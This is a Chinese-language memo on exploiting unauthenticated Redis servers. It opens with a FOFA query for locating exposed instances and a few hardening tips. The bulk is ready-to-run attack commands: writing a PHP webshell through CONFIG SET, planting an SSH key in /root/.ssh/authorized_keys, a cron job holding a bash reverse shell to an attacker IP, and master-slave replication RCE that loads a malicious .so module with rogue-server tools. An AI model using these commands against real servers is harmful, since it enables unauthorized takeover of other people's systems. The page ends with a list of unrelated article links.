当前位置: 首页 > news >正文

redis利用备忘录

fofa:

icon_hash="864611937"

防护:

redis的安全设置:设置完毕,需要重加载配置文件启动redis


1.绑定内网ip地址进行访问
2. requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。

1.redis 未授权:

条件:

(1)redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策

略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

危害:

1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,攻击者也可以执行flushall来清空所有数据

2、攻击者可通过EVAL执行lua代码或通过数据备份功能往硬盘写入后门,如果Redis是以root身份运行,黑客可以给root账户写入SSH公钥文件,直接登陆目标服务器

测试流程:

redis-cli -h ip

2.redis 写 webshell

漏洞原理:

靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的

利用:

Config set dir /var/www/html → 切换到网站的根路径

Config set dbfilename yy.php →在硬盘中生成木马文件

Set XXX "\n\n\n<?php evaI($_REQUEST[8]);?>\n\n\n" ----> \n 为换行,区分开来

save

浏览器看是否上传成功:ip/文件名

执行 phpinfo: IP/文件名?8=phpinfo()

3.redis 密钥登录 ssh

原理:

漏洞原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改

数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.kevs,把缓冲的数据保存在

文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

利用条件:

redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入

攻击机上(kali) 创建ssh-rsa也就是生成key这里密码设置成空全部默认就行 → ssh-keygen-trsa

ssh-keygen -t rsa #生成公钥

cd /root/.ssh #切换到 ssh 目录

Is

cat id_rsa.pub #查看公钥

redis-cli -h 192.168.33.134 #连接目标主机redis

config get dir #检查当前保存路径

config get dbfilename #检查保存文件名

config set dir /root/.ssh/ #设置保存路径

config set dbfilename authorized_keys #设置保存文件名

set xz"\n\n\n 公钥 \n\n\n" #将公钥写入xz健

save #进行保存

ssh -i id_rsa root@192.168.91.131 #连接主机

4.利用计划任务反弹 shell

漏洞原理:

利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录I/var/spool/cron下来执行。

利用:

攻击机开启监听 → nc-lvvp 9999

redis-cli -h 192.168.33.1341 #连接redis

flushall #清除所有键值

config set dir /var/spool/cron #设置保存路径

config set dbfilename root #保存名称

set xz "\n\n***** bash -i >& /dev/tcp/192.168.91.132/9999 0>&1 \n\n" #将反弹shell写入xz键值

save #写入保存路径的shell文件

5.远程主从复制 RCE

原理:

漏洞原理:漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.So文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

利用:

redis-rogue-server工具下载地址:

https://github.com/nob0dyCN/redis-rogue-server

该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用

如果存在密码可以使用下面这个工具。Awsome-Redis-Rogue-ServerI具下载地址:

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

python3 redis-rogue-server.py --rhost 192.168.91.162 --lhost 192.168.91.132

输入 r,反弹 shell 输入 i 执行命令

6.本地主从复制

攻击机:python3 redis_rogue_server.py -v -path exp.so

config set dir /tmp

//一般tmp目录都有写权限,所以选择这个目录写入

config set dbfilename exp.so

//设置导出文件的名字

slaveof 192.168.190.128 15000

//进行主从同步,将恶意so文件写入到tmp目录

module load./exp.so

//加载写入的恶意so文件模块

module list

//查看恶意so有没有加载成功,主要看有没有"system"

system.rev 192.168.91.132 1234

相关文章:

  • 在 Vue 3 中将拆分后的数组合并回原数组
  • 云轴科技ZStack入选中国人工智能产业发展联盟《大模型应用交付供应商名录》
  • Muduo网络库实现 [十六] - HttpServer模块
  • 线上蓝桥杯比赛环境配置
  • C#中扩展方法和钩子机制使用
  • 中间件--ClickHouse-9--MPP架构(分布式计算架构)
  • 51单片机实验六:通用型1602液晶操作方法
  • 使用DeepSeek生成PPT的详细指南
  • Oracle、MySQL、PostgreSQL三大数据库对比分析
  • Python爬虫第16节-动态渲染页面抓取之Selenium使用上篇
  • kubernetes-使用ceph-csi
  • vscode中markdown一些插件用不了解决方式
  • HTML 初识
  • 本地部署ai图片转生成视频,一键运行包的制作教程。
  • AbMole| Lofexidine hydrochloride(CAS号21498-08-8;目录号M3169)
  • 大模型面经 | DeepSpeed中ZeRO-1、ZeRO-2和ZeRO-3的区别是什么?
  • QT常见显示类控件及其属性
  • 学习设计模式《二》——外观模式
  • 快手本地生活2024年GMV同增200%,“新线城市+AI”将成增长引擎
  • LabVIEW油气井井下集成监测系统
  • 哈萨克斯坦一名副市长遭枪击
  • 吸引更多开发者,上海智元发布行业首款具身智能一站式开发平台
  • 碎片化时代如何阅读?巴金图书馆推出世界读书日系列活动
  • 恒安集团创始人许连捷逝世:白手起家缔造百亿纸品巨头,个人曾捐赠超10亿
  • 台积电一季度净利增长六成,预计今年AI芯片营收增长一倍
  • 习近平抵达金边对柬埔寨进行国事访问